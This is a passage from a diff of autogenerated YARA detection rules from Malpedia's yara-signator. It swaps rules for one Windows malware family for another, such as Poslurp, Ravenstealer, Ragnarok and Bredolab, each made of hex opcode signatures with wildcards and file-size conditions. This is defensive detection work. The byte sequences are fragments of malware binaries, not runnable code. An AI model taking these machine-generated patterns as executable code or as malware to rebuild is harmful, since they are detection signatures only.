8d8578ffffff 50 50 8bc8 e8???????? } - $sequence_14 = { 8d856cfeffff ff750c 8d8de8fdffff 50 e8???????? ff7518 } - $sequence_15 = { 8bc6 e8???????? 6a58 6a00 56 e8???????? 83c40c } - $sequence_16 = { 4883ec30 488b05???????? 4c8ba42480000000 498bf1 4c8b90b0000000 } - $sequence_17 = { 4833d0 488bc2 48c1e81b 4833d0 488bc2 480fafc3 488901 } - $sequence_18 = { 4883ec50 418bf0 4c8b05???????? 498bf9 4d8b80c8000000 488bea 4c8d48d8 } - $sequence_19 = { 4c8d443b80 488d48b8 488d5098 e8???????? 85c0 0f84f0000000 8b4c2470 } - $sequence_20 = { 3c41 7204 3c5a 763e 3c61 7204 3c7a } - $sequence_21 = { ff15???????? 85c0 8bd8 0f8560020000 8a442431 3c02 } - $sequence_22 = { 4885c0 488bd8 742f 8d4f01 448bce } - $sequence_23 = { 488bc3 48c1e80c 4833d8 488bc3 48c1e019 4833d8 488bc3 } - $sequence_24 = { eb0a 8b45ec 83c410 5e 5f } - $sequence_25 = { 8945e8 7442 ebcf 8b45dc b931000000 8b15???????? } - $sequence_26 = { 83ec28 31c0 31c9 8945fc } - $sequence_27 = { e8???????? 8d0d84308702 31d2 8b75f0 89460c 890c24 } - $sequence_28 = { 8b4dec 89c2 83c201 89ce } - $sequence_29 = { 31c9 ba03000000 8d75f1 83ec0c } - $sequence_30 = { 8d95f1fbffff c785ecfbffff00000000 8db5ecfbffff 8b3d???????? 56 68ff030000 52 } - $sequence_31 = { 8995d8fbffff 89b5d4fbffff e8???????? 83c40c 8b85d4fbffff 50 e8???????? } - $sequence_32 = { 8b7138 891424 c744240400000000 89742408 8945dc e8???????? 8b45e0 } - $sequence_33 = { 894de0 0f84ca000000 8b45cc 8b08 8b55ec 035010 } - $sequence_34 = { 8b4048 8945b0 8b45b4 8b4040 8945ac } - $sequence_35 = { 51 ffd0 8b0d???????? 8b95e4fbffff } - $sequence_36 = { 8b8dccfbffff 51 8bb5e0fbffff 56 } - $sequence_37 = { 89442404 c744240800000000 8954240c 8b4590 894d80 ffd0 } - $sequence_38 = { 89cf 83c710 89957cffffff 898d78ffffff 89bd74ffffff 89b570ffffff } - $sequence_39 = { 890c24 c744240400000000 8955dc e8???????? 8d0d77318702 890424 894c2404 } + $sequence_0 = { 33f0 8b442440 0b442438 33cf 23442448 8b7c2444 8b5c2440 } + $sequence_1 = { 33c0 f644240401 7405 b800000200 f644240402 7405 } + $sequence_2 = { 33ed 0be9 33f5 8b6c244c 0fa4dd19 c1e807 c1e319 } + $sequence_3 = { 5e c3 56 8d7010 e8???????? 5e c3 } + $sequence_4 = { 0bcd 33f1 8b4c2434 0b4c242c c1e807 c1e319 0bc3 } + $sequence_5 = { 3bc6 741c 3930 7418 } + $sequence_6 = { 134c241c 01442438 89442458 8b442420 114c243c 8bf8 0facdf1c } + $sequence_7 = { 8b4708 89460c 8b4704 894610 8b4714 894614 8b442408 } + $sequence_8 = { 5f 5b 5d c3 55 8bec 81ecd8000000 } + $sequence_9 = { 59 85db 742f 56 ff742414 } condition: - 7 of them and filesize < 221184 + 7 of them and filesize < 188416 } -rule MALPEDIA_Win_Poslurp_Auto : FILE +rule MALPEDIA_Win_Makloader_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "de29f131-c10c-5b1a-9ede-2dfe5ee182bf" + id = "26ebb112-b6ed-51a4-bad8-c324e66e4906" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.poslurp" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.poslurp_auto.yar#L1-L115" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.makloader" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.makloader_auto.yar#L1-L117" license_url = "N/A" - logic_hash = "dafce983a197626ced3ffe7ea55c9454b2349c0bd7691c948d5ed2bf42cf11d0" + logic_hash = "854a6b1744de222da9ac653a892bbe0900bac42ce1325f6f01c3e73dc26cfb28" score = 75 quality = 75 tags = "FILE" @@ -146966,32 +146823,32 @@ rule MALPEDIA_Win_Poslurp_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 4883f8ff 743d 448d4f02 4533c0 33d2 488bc8 } - $sequence_1 = { 3905???????? 7309 33c9 ff15???????? } - $sequence_2 = { 44891d???????? eb0b 6689445420 41ffc0 48ffc2 4883c9ff 33c0 } - $sequence_3 = { 48f7d1 4883e901 7458 448b0d???????? } - $sequence_4 = { 4c8bf0 488bf8 33c0 f3aa 498bce 488bd5 } - $sequence_5 = { 740e 0f1f4000 488b1b 66837b3818 } - $sequence_6 = { ff15???????? 4883f830 0f85b3000000 817c245000100000 } - $sequence_7 = { 4d897b08 4d897bc8 8b7c0850 4c8bf2 488be9 4d897ba0 } - $sequence_8 = { 0f84d5000000 6666660f1f840000000000 0fb703 ffc9 83e830 } - $sequence_9 = { ffce 488bd5 48d1f9 8bfb 85c9 } + $sequence_0 = { 6bca00 8b440dbc 8b540dc0 b127 } + $sequence_1 = { c7857cebffff00000000 c78580ebffff00000000 8d8554e5ffff 898584ebffff c78588ebffff00000000 8d8d74ebffff } + $sequence_2 = { 33d2 8b45fc 83c003 8810 8b45fc 8be5 } + $sequence_3 = { a1???????? 33c5 8945fc c745c000100000 } + $sequence_4 = { 8b94d530fdffff b103 e8???????? 0bd8 8b8520fdffff 0bc2 33f3 } + $sequence_5 = { e8???????? 8818 ebbf 6a09 8b4df8 83c101 e8???????? } + $sequence_6 = { 8b540dc0 b122 e8???????? 8bd8 } + $sequence_7 = { 89856ce6ffff 33d2 899514e5ffff 899518e5ffff } + $sequence_8 = { 8b08 8b55cc 52 8b410c } + $sequence_9 = { 884130 ba01000000 6bc230 8b4d08 0fb61401 52 8b4dfc } condition: - 7 of them and filesize < 50176 + 7 of them and filesize < 335872 } -rule MALPEDIA_Win_Scarecrow_Auto : FILE +rule MALPEDIA_Win_Ravenstealer_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "d4797137-49f1-5101-9dc1-24aec16a402a" + id = "84f90220-3279-5007-a5a1-8ce5ade31449" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.scarecrow" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.scarecrow_auto.yar#L1-L132" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.ravenstealer" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.ravenstealer_auto.yar#L1-L134" license_url = "N/A" - logic_hash = "3c26486fac68aa14cbad0f26e91bc7559e11337af778c6912a8bda339578018a" + logic_hash = "79823541f3a380244fa96c3e3bd68dec6432b3566c33a9fa586cf37babf2bf66" score = 75 quality = 75 tags = "FILE" @@ -147005,32 +146862,32 @@ rule MALPEDIA_Win_Scarecrow_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { c645d951 c645da70 c645db4c c645dc70 c645dd2b c645de70 c645df16 } - $sequence_1 = { c645d55b c645d678 c645d77c c645d878 c645d928 c645da78 c645db7c } - $sequence_2 = { 40 74ec 5f 5e b801000000 5b } - $sequence_3 = { 56 6a49 68d340dedd ba0f000000 8bf1 e8???????? 83c408 } - $sequence_4 = { 99 f7fb 85d2 74d8 8a06 8bde 84c0 } - $sequence_5 = { 757b b905000000 8b45fc 99 f7f9 85d2 7405 } - $sequence_6 = { be05000000 0f1f440000 8b45b8 99 f7fe 85d2 7405 } - $sequence_7 = { 59 e9???????? c745dc03000000 eb7c c745e030024300 ebbb d9e8 } - $sequence_8 = { c745e030024300 e9???????? 83e80f 7451 83e809 7443 83e801 } - $sequence_9 = { 7528 e8???????? 85c0 0f847f020000 e8???????? 6a4d } + $sequence_0 = { 4c8b742430 4883c438 415f 415c 5f 5b c3 } + $sequence_1 = { f20f5cc8 f20f59ca f20f114c2440 e8???????? 440fbef0 e8???????? 0fbed8 } + $sequence_2 = { c744247809000000 eb58 448d3c37 0fbe05???????? 4103c7 0fbe0d???????? 33d2 } + $sequence_3 = { 8b5c2450 8b742454 3bc1 0f84bb130000 0fb605???????? 0fb605???????? 0fb605???????? } + $sequence_4 = { f20f59c8 f2440f2cf1 8b85e01f0000 83c04c f20f2ad0 0fb605???????? 0fbec8 } + $sequence_5 = { f2480f2ac0 f20f594590 f20f2cc0 89442428 8b442458 83e86a 660f6ed0 } + $sequence_6 = { e8???????? 488bf8 488d9424b0000000 488d8c2450090000 e8???????? 488b18 488d9424b8000000 } + $sequence_7 = { 85c0 7416 81a5fc030000fffeffff 488d8d28100000 e8???????? 4883c420 5d } + $sequence_8 = { 83f801 750a 488b07 488bcf ff5008 90 4d85f6 } + $sequence_9 = { 7406 6683f92f 7504 4883c002 483bd8 7442 0f1f8000000000 } condition: - 7 of them and filesize < 501760 + 7 of them and filesize < 8337408 } -rule MALPEDIA_Win_Beardshell_Auto : FILE +rule MALPEDIA_Win_Ragnarok_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "0fef5153-0695-5651-88d6-fa2574fcc87d" + id = "0503ca8a-2001-56e1-b42c-037f05f91d96" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.beardshell" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.beardshell_auto.yar#L1-L133" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.ragnarok" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.ragnarok_auto.yar#L1-L132" license_url = "N/A" - logic_hash = "104b3d19aef271122113e5b1a20be0ecaabcd5f4198f381800365cc8cf878c7b" + logic_hash = "5619f0dd5fd5026a251efa6637f932f898dc57a4a8452621caeee9cc8878df0d" score = 75 quality = 75 tags = "FILE" @@ -147044,32 +146901,32 @@ rule MALPEDIA_Win_Beardshell_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 488d55c0 498bcc 488b4038 ff15???????? 410fbaed0e 4183cd20 44896c243c } - $sequence_1 = { 8a44246f 4c8b4c2460 488b542460 448a442440 88442420 e8???????? 4889442470 } - $sequence_2 = { e8???????? 488b4c2430 4c8d442460 4983c008 488d542458 e8???????? 488b4c2470 } - $sequence_3 = { e9???????? 488b8424b8000000 4889842488000000 4c8b442458 48634c2448 31c0 4829c8 } - $sequence_4 = { 488b4010 4883e00f 4889442448 48837c244800 0f84ce000000 488b442450 } - $sequence_5 = { 0fbf1448 c1ea02 b901000000 84d1 7510 837d4004 7594 } - $sequence_6 = { 410f104500 f30f7f4587 48897c2420 440fb74c2440 4c8d4587 488d55b7 488bce } - $sequence_7 = { e9???????? c644245f31 8b442460 83e87f 89442458 488b842480000000 483b842488000000 } - $sequence_8 = { 4889c1 488b442430 48894c2440 488b4c2450 48894810 66448b44245e 488b542450 } - $sequence_9 = { e8???????? e9???????? 488b4c2448 e8???????? 488b4c2430 6689c2 e8???????? } + $sequence_0 = { c1f906 57 6bf838 894df4 8b048d28754300 8b540718 8955ec } + $sequence_1 = { 8945b8 8b45a8 8bc8 2345b0 f7d1 234d98 c1c20a } + $sequence_2 = { 0f1f4000 8bc8 8b4104 85c0 75f7 895104 8b9db4feffff } + $sequence_3 = { 8bc6 f7d0 c1c208 03550c 0bc7 33c3 8955bc } + $sequence_4 = { 8b96e0000000 83fa14 7d38 8d0492 8d0c86 8d0492 c781e4000000e0b04000 } + $sequence_5 = { 8b7d08 0fb6ca 333c8d105d4300 8bcf 897d08 334814 894d08 } + $sequence_6 = { 3a8a54d84200 7532 8b06 8a08 40 42 8906 } + $sequence_7 = { c1c10a 89459c 81c6a1ebd96e 8bc2 894d98 } + $sequence_8 = { 234db4 03c3 894598 8b45b8 23c2 c145b80a 0bc8 } + $sequence_9 = { 8b0c8d28754300 88440f2b 83fa03 7511 8b45fc 8b0c8528754300 8a06 } condition: - 7 of them and filesize < 2416640 + 7 of them and filesize < 483328 } -rule MALPEDIA_Win_Mirai_Auto : FILE +rule MALPEDIA_Win_Xfscashncr_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "6b007e0f-a886-5f64-abd3-07f6ed5e9b2a" + id = "08fa1629-5d24-53b4-85f4-eb31463ca09f" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.mirai" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.mirai_auto.yar#L1-L134" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.xfscashncr" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.xfscashncr_auto.yar#L1-L134" license_url = "N/A" - logic_hash = "63027a45f46dffdd65577fa0ba420730c7c3c1478a8b6e1e30240b9df0cbea70" + logic_hash = "6e03028d0cfd23b56ac82a98bfd4131d910eac7c39a1c7a0b0fafa796b30a166" score = 75 quality = 75 tags = "FILE" @@ -147083,32 +146940,32 @@ rule MALPEDIA_Win_Mirai_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 8b00 8b4dfc 668b00 668981a00b0000 8b4508 8b00 40 } - $sequence_1 = { e8???????? 59 50 ff7508 8b4da0 e8???????? 0fb6c0 } - $sequence_2 = { c3 8d88dfa9ffff 83f95d 7709 0fb704458ebf6b00 c3 8d90dfa8ffff } - $sequence_3 = { 8bcf e8???????? 8b38 85ff 7447 8b4f08 51 } - $sequence_4 = { 8b9654040000 68b3fe654f 51 6a64 6a02 68???????? 52 } - $sequence_5 = { 8bce e8???????? 8bf8 3bfb 0f840cffffff 8bce e8???????? } - $sequence_6 = { c3 bac8c50000 663bc2 720a b9f0c50000 663bc1 7610 } - $sequence_7 = { ff15???????? 8945fc 837dfc00 7c33 ff75f8 ff15???????? 8945fc } - $sequence_8 = { 8b85d4fdffff 8a00 8885cffdffff ff85d4fdffff 80bdcffdffff00 75e3 8b85d4fdffff } - $sequence_9 = { 8b5e08 eb12 8b4e08 8b4604 6a00 52 51 } + $sequence_0 = { 741b 0fbe4d82 85c9 7413 8b4d10 e8???????? 0fbe10 } + $sequence_1 = { 8b4d18 e8???????? 8b8564ffffff 50 0fb64d1c 51 8b5514 } + $sequence_2 = { c1f805 8b4de0 83e11f c1e106 030c85c0195700 894de4 8b55e4 } + $sequence_3 = { 8d450c 50 e8???????? 83c408 0fb6c8 85c9 742a } + $sequence_4 = { 004fed 4e 0015???????? ed 4e 0000 0501050205 } + $sequence_5 = { 8955f4 8b450c 8b4d18 8d14c1 8955f8 8b4508 50 } + $sequence_6 = { 8b45d0 8b0c85c0195700 81c100080000 394de4 7366 8b55e4 c6420400 } + $sequence_7 = { d1f8 b902000000 c1e100 8b5508 0fb70c0a c1e10f 0bc1 } + $sequence_8 = { 8b55fc 0fb7040a 85c0 752f b902000000 c1e100 8b55fc } + $sequence_9 = { 0fb755a4 52 6a01 8b4524 50 8d4dd4 e8???????? } condition: - 7 of them and filesize < 7086080 + 7 of them and filesize < 3126272 } -rule MALPEDIA_Win_Shadow_Rat_Auto : FILE +rule MALPEDIA_Win_Cabart_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "cd866f0d-a058-5516-ad44-83c67b926cef" + id = "f125e8a4-ec32-5390-8552-f2a98b622d63" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.shadow_rat" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.shadow_rat_auto.yar#L1-L131" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.cabart" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.cabart_auto.yar#L1-L118" license_url = "N/A" - logic_hash = "f9ac6b211213f8898a8d9a850cbd590282d120dd08d8f19a3ecf3df1330c81a4" + logic_hash = "61ecd8ce7a25b1013cbbef59f59ac25a4742d00a8fbf8c91414650d5dc932d94" score = 75 quality = 75 tags = "FILE" @@ -147122,32 +146979,32 @@ rule MALPEDIA_Win_Shadow_Rat_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 488b8580000000 483bc6 0f82f1060000 482bc6 49c7c0ffffffff } - $sequence_1 = { 5f c3 488b542468 488d0db6590300 e8???????? 4c8b18 } - $sequence_2 = { e8???????? 448ba570010000 8b4c2438 488d15b7e5fcff 2b4c2448 41b826000000 894c2438 } - $sequence_3 = { 488b8c2430010000 4833cc e8???????? 4881c448010000 415e 415c 5e } - $sequence_4 = { 488d5570 4883bd880000000f 490f47d5 4533e4 4c89642420 4533c9 448b8580000000 } - $sequence_5 = { 488bf1 48894c2428 488bea 7603 488b2a 4c8b6210 48899c2480010000 } - $sequence_6 = { 488b5928 4885db 750d 488d5930 eb07 488d1d785b0400 33d2 } - $sequence_7 = { 664489bd1e010000 ebc2 418bff 488d15009d0100 488bcb e8???????? 4885c0 } - $sequence_8 = { e8???????? 90 0f57c0 0f11442458 660f6f0d???????? f30f7f4c2468 c644245800 } - $sequence_9 = { 488bcf e8???????? 90 488d4c2450 e8???????? 488bc7 488b4d50 } + $sequence_0 = { 57 be04010000 8d85d8fbffff 56 } + $sequence_1 = { 5f 40 5e c9 c21000 53 } + $sequence_2 = { 55 a3???????? ffd6 68???????? ff742414 a3???????? ffd6 } + $sequence_3 = { 395d10 740f 6800800000 53 ff7510 } + $sequence_4 = { ff15???????? ff15???????? 57 3db7000000 } + $sequence_5 = { 761e 8b450c 8930 8b4510 eb16 } + $sequence_6 = { 8d85fcfeffff 68???????? 6804010000 50 ff15???????? 83c410 6a10 } + $sequence_7 = { 3bf3 0f8499000000 53 53 53 53 } + $sequence_8 = { 57 ff15???????? 83c428 33c0 5f } + $sequence_9 = { 6a02 57 6a01 6800000040 8d85fcfbffff } condition: - 7 of them and filesize < 727040 + 7 of them and filesize < 32768 } -rule MALPEDIA_Win_Backswap_Auto : FILE +rule MALPEDIA_Win_Net_Star_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "0b4784b7-cd96-5e54-a073-0338b4b75481" + id = "e4a1e4d6-66ac-52a3-a1bf-1a40ab526cfc" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.backswap" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.backswap_auto.yar#L1-L125" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.net_star" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.net_star_auto.yar#L1-L124" license_url = "N/A" - logic_hash = "2b5d3806ddf0898828d393c845cc1b722a49353e80ebab2271198eaec3b3ad5a" + logic_hash = "93e5fe016bec66ccfdfdaabf1a580d9d03655d26419d498170f8b7ee102df278" score = 75 quality = 75 tags = "FILE" @@ -147161,32 +147018,32 @@ rule MALPEDIA_Win_Backswap_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 33c9 e9???????? b32a 397d14 7412 47 8a07 } - $sequence_1 = { f366a5 59 5f 5e c9 c20c00 55 } - $sequence_2 = { eb04 8bc6 91 41 5e 5f } - $sequence_3 = { 74c4 3c2a 7508 8bdf 897508 4e ebb8 } - $sequence_4 = { 33d2 8bdf 4b eb1c 85c9 7508 3bdf } - $sequence_5 = { 7482 8b7508 ff4508 8bfb 3bd3 0f8572ffffff 33c9 } - $sequence_6 = { 7404 8bce 8bd3 397d14 0f8e99000000 39750c 7e7b } - $sequence_7 = { d1e9 f366a5 59 5f 5e } - $sequence_8 = { e8???????? 74ed 33c0 eb04 } - $sequence_9 = { 33c9 e9???????? b32a 397d14 } + $sequence_0 = { 281f00000a 1106 281e00000a dc 1109 6f2500000a 1109 } + $sequence_1 = { 6f2400000a 6f2200000a de0f 1107 281f00000a } + $sequence_2 = { 728d000070 2a 07 2802000006 1305 281a00000a } + $sequence_3 = { 740100001b 0c 03 7243000070 6f1500000a } + $sequence_4 = { 1308 1108 731d00000a 1309 1109 } + $sequence_5 = { 09 281100000a 5a 281200000a 1304 08 09 } + $sequence_6 = { 08 09 1104 281300000a a2 09 } + $sequence_7 = { 6f1700000a 6f1500000a 740100001b 0d 09 2d06 725f000070 } + $sequence_8 = { 09 08 8e 69 32dd 08 } + $sequence_9 = { 26 de49 130a 1109 6f2100000a 1109 } condition: - 7 of them and filesize < 122880 + 7 of them and filesize < 50176 } -rule MALPEDIA_Win_Explosive_Rat_Auto : FILE +rule MALPEDIA_Win_Bredolab_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "fcdedcfb-8d9a-5318-b6f5-1c975904e20d" + id = "e9ae7558-41e9-5f48-a345-a8a0a59274ec" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.explosive_rat" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.explosive_rat_auto.yar#L1-L131" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.bredolab" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.bredolab_auto.yar#L1-L125" license_url = "N/A" - logic_hash = "41c4f7e33c52dbbd452e704e97d77f2addf0978f42a72a996b63009951e0b21e" + logic_hash = "b7fcc4ad5e8f568651dead1485597f16282b873ba030d633458bd92c7562859d" score = 75 quality = 75 tags = "FILE" @@ -147200,74 +147057,71 @@ rule MALPEDIA_Win_Explosive_Rat_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 85c0 0f84fb000000 68???????? 68???????? ffd6 85c0 0f84e7000000 } - $sequence_1 = { 72cc 5d 8b442428 be10000000 3bc6 720d } - $sequence_2 = { 8d4514 50 8d4d0c e8???????? 84c0 8b7520 } - $sequence_3 = { 8902 8908 894104 5b c20400 894208 8908 } - $sequence_4 = { 89bdc4010000 89bdc8010000 6689bdd4010000 e8???????? 8bb508040000 83c41c } - $sequence_5 = { e8???????? 3bfb 745b 395d14 7539 6a34 e8???????? } - $sequence_6 = { 8d8d44ffffff e8???????? 8d8d04f5feff e8???????? 8b8558ffffff 8985f801ffff 89853402ffff } - $sequence_7 = { 3bfb 745b 395d14 7539 6a18 e8???????? 59 } - $sequence_8 = { 8d8d44ffffff e8???????? 8d8d7cffffff e8???????? 807d2475 0f8537010000 53 } - $sequence_9 = { 663bf2 771d 7220 41 41 40 40 } + $sequence_0 = { c3 55 89e5 56 53 8b5508 8b4d0c } + $sequence_1 = { 75be 8b8348080000 40 898348080000 } + $sequence_2 = { 7424 8b5514 c60200 8d85e0f7ffff 89442404 c7042400080000 ff15???????? } + $sequence_3 = { 89853cfcffff ff15???????? 51 66c78560ffffff0800 c744240408020000 c7042400000000 ff15???????? } + $sequence_4 = { c7834808000000000000 c7442404???????? 8d4314 890424 ff15???????? } + $sequence_5 = { ff15???????? 57 57 8b45e4 89442404 8b4510 890424 } + $sequence_6 = { 895c2424 89542420 c744241c00000000 c744241800000000 } + $sequence_7 = { 84c0 75f6 894d14 8b5d14 c60300 8b4d0c 8b8560ffffff } + $sequence_8 = { 8b450c 8b5510 8d1c07 85c0 740a 807bff3f 7404 } + $sequence_9 = { 89d6 31db 6690 80be5409000000 7523 b030 } condition: - 7 of them and filesize < 855040 + 7 of them and filesize < 90112 } -rule MALPEDIA_Win_Lock_Pos_Auto : FILE +rule MALPEDIA_Win_Ayegent_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "66d7719a-09f7-5449-96c8-7a2badb35721" - date = "2024-10-31" - modified = "2024-11-11" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.lock_pos" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.lock_pos_auto.yar#L1-L147" + id = "ced11e8d-8efd-5b26-929c-fa1cb31d81f3" + date = "2026-01-05" + modified = "2026-01-06" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.ayegent" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.ayegent_auto.yar#L1-L127" license_url = "N/A" - logic_hash = "68264cf97fe11e22f20de5aa9fd8236aae89e24686e8c6b06c621f87466b5d04" + logic_hash = "ba5d5de854dff7a7f643a8b1e7c7fe4de58085b126949eb8bd1d550389e21c48" score = 75 quality = 75 tags = "FILE" version = "1" tool = "yara-signator v0.6.0" signator_config = "callsandjumps;datarefs;binvalue" - malpedia_rule_date = "20241030" - malpedia_hash = "26e26953c49c8efafbf72a38076855d578e0a2e4" - malpedia_version = "20241030" + malpedia_rule_date = "20260105" + malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79" + malpedia_version = "20251219" malpedia_license = "CC BY-SA 4.0" malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 8bec 8b4508 8b0d???????? 8b0481 } - $sequence_1 = { 8bec 837d0800 7704 33c0 } - $sequence_2 = { 6a00 6a23 6a00 ff15???????? 8d8df8fdffff } - $sequence_3 = { 55 8bec 81eca4040000 56 } - $sequence_4 = { 8d85f8fdffff 50 6a00 6a00 6a23 } - $sequence_5 = { 6a00 32db e8???????? 8bf8 59 59 85ff } - $sequence_6 = { 8b450c 85c0 740a 8b55f8 8911 8b4dfc 8908 } - $sequence_7 = { ff15???????? 85c0 7555 57 6a04 8d45e4 50 } - $sequence_8 = { 8b4de4 034804 894de4 8b55f0 8b45f0 034204 8945f0 } - $sequence_9 = { 6a04 8b4508 50 8d4dec 51 e8???????? 83c40c } - $sequence_10 = { 8908 837df400 740b 8b55f4 } - $sequence_11 = { 837dfc00 7414 8b450c 50 8b4d08 51 } - $sequence_12 = { 8b45dc 83e801 8945dc 85d2 0f843a010000 8b4df4 668b11 } + $sequence_0 = { a1???????? 8d542400 52 50 ff15???????? 8b4c2428 8b542424 } + $sequence_1 = { 51 6804010000 aa e8???????? 83c408 ffd5 } + $sequence_2 = { 885c2420 f3ab 66ab 8d4c2420 51 6804010000 aa } + $sequence_3 = { 770e 8088????????20 8ac8 80e920 ebe0 80a0609d400000 40 } + $sequence_4 = { ff15???????? 8d542420 50 52 8d442428 68???????? } + $sequence_5 = { 8d7c2421 885c2420 f3ab 66ab 8d4c2420 51 } + $sequence_6 = { 6808020000 50 53 68???????? 68???????? 885c2428 ffd5 } + $sequence_7 = { 66ab aa 8d442408 56 50 } + $sequence_8 = { 53 68???????? 8d4c2428 68???????? 51 68???????? } + $sequence_9 = { 66ab aa 8d442420 50 6a00 e8???????? } condition: - 7 of them and filesize < 319488 + 7 of them and filesize < 90112 } -rule MALPEDIA_Win_Synflooder_Auto : FILE +rule MALPEDIA_Win_Outlook_Backdoor_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "9b4db3a4-161f-5f48-96b1-18c835e76606" + id = "a3c9e166-1016-5506-93a9-19667db3083c" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.synflooder" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.synflooder_auto.yar#L1-L116" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.outlook_backdoor" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.outlook_backdoor_auto.yar#L1-L128" license_url = "N/A" - logic_hash = "71981dc7d5e3732f6bffc2a9248cb281eeec7fbd198e397f9ba4db0beb4f7d0b" + logic_hash = "1c69545b2fc9583e56f8f6f93522f6191f76f6718f05e9ec7b5fbf60b049d689" score = 75 quality = 75 tags = "FILE" @@ -147281,32 +147135,32 @@ rule MALPEDIA_Win_Synflooder_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 762a 56 e8???????? 8d0445f4f34000 8bc8 } - $sequence_1 = { 8be5 5d c3 8b35???????? b802000000 6a50 668944242c } - $sequence_2 = { 8bec 8b4508 ff34c580e44000 ff15???????? 5d } - $sequence_3 = { 0f8f0b010000 33f6 85db 7e1b 8bff e8???????? 0fbec0 } - $sequence_4 = { 8a13 0fb6ca 0fbe8910ee4000 85c9 } - $sequence_5 = { 897e70 c686c800000043 c6864b01000043 c74668f0e54000 } - $sequence_6 = { 03048d20fc4000 eb02 8bc2 f6402480 } - $sequence_7 = { 33c5 8945fc 8d8568faffff 50 6a02 ff15???????? } - $sequence_8 = { c7470640008006 8b44242c 50 ff15???????? } - $sequence_9 = { 897df4 85ff 75d1 53 e8???????? 8b45f0 } + $sequence_0 = { 0f8412fdffff ff442410 ff4c2418 837c241800 7fdb e9???????? 56 } + $sequence_1 = { 